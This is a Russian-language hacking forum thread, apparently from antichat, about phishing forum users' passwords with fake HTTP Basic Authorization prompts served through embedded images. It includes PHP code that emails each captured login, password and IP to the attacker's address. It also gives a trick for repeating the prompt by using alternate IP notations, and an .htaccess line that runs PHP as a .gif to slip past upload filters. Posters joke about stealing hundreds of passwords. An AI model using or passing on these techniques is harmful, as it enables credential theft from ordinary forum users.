Авторские статьи Применение Basic Authorization против форумов

Code:

[color=#00AA00][color=#00FF00]mail[/COLOR][color=#0000FF]([/COLOR]
  [/COLOR][color=#FFFF00]'Ваше мыло@ya.ru'[/COLOR][color=#00AA00][color=#0000FF],[/COLOR]
  [/COLOR][color=#FFFF00]'Basic Authorization против форумов'[/COLOR][color=#00AA00][color=#0000FF],[/COLOR]
  [/COLOR][color=#FFFF00]"[color=#00AA00]$login[/COLOR]:[color=#00AA00]$pass[/COLOR][color=#FFFFFF]\n[/COLOR]"[/COLOR][color=#00AA00][color=#0000FF].[/COLOR]
  [/COLOR][color=#FFFF00]'IP: '[/COLOR][color=#00AA00][color=#0000FF].[/COLOR]$_SERVER[color=#0000FF][[/COLOR][/COLOR][color=#FFFF00]'REMOTE_ADDR'[/COLOR][color=#00AA00][color=#0000FF]],[/COLOR]
  [/COLOR][color=#FFFF00]'[email protected]'[/COLOR][color=#00AA00][color=#0000FF],[/COLOR]
  [/COLOR][color=#FFFF00]'Content-Type: text/plain;'[/COLOR][color=#00AA00]
[color=#0000FF])[/COLOR][color=#FF0000];[/COLOR][/COLOR]

Хотя в файл сохранять помоему гораздо удобние и быстрее

 

Cпасибо за нормальный код.

В файл - да, удобнее, но не в этот раз.

 

Ребята, а как же сделать чтоб вылазило 50 таких табличек?????
Это что нужно 50 таких скриптов делать? =)

 

и ещё, может ламерский вопрос, но как узнать IP адрес своего сайта, ну типа для www.site.ru будет 85.101.33.201.

 

пропинговать попробуй )

 

эммммм......=)
А вот ещё

Code:

Ребята, а как же сделать чтоб вылазило 50 таких табличек?????
Это что нужно 50 таких скриптов делать? =)

Как тут быть??????

 

127.0.0.1, 127.00.0.1, 127.0.00.1, 127.0.0.01 и даже 0177.0.0.1 - эти 5 строк обозначают один и тот-же ip адрес но для браузера это разные хосты, а значит, для каждого из них нужно запросить авторизацию .

 

Простите плизз мою тупость, но если я правельно всё понял, то так:
<img src="127.0.0.1/img.php">
<img src="127.00.0.1/img.php">
<img src="127.0.00.1/img.php">
<img src="0177.0.0.1/img.php">

 

Хотелось бы поделиться кое-чем. Сегодня встретил фильтрацию по расширению на форуме Invision Power Board(U) v1.3.1 Final, когда хотел разместить этот скрипт. Уже было отчаялся, но вспомнил про htaccess! Создаём на хосте папку, куда кидаем файл с расширением .htaccess со следующим содержанием:

Code:

AddType application/x-httpd-php .gif

Вместо .gif подставляем нужное расширение. Готово! Кидаем скрипт с этим же расширением в ту же папку! Теперь ваш скрипт пройдёт любую фильтрацию по расширению!

 

hidden Молодец ! Статья ничего,побалываться и увести пару трой сотен паролей сойдет НАпример :"Введи пасс егорыч ....",ну это я пошутил если вы непоняли

 

Я вот нашёл такую статью. Причём здесь же, на ачате.

Кому интересно, смотрим тут:

http://forum.antichat.ru/thread7169.html

А вот цитата оттуда:

 

Чтож, значит я был не первый...

 

Для тех, кто не понимает, как это сделать или применить это на практике, я снял видео
http://video.antichat.org/author/Nomer1.html

 

Возник вопрос - а можно с помощью GIF-инъекции украсть куки пользователя, посетившего инфицированную страничку ?

 

Первый раз слышу. Если ты имеешь ввиду картинку, "написанную" на php, то нет.

 

А какие самые простые способы есть перехвата кукинсов ?

(сори за оффтоп)

 

1) Нет такого понятия как "gif-инъекции".
2) Украсть куки описанным способом нельзя.

 

Нихуя себе!

 

Годно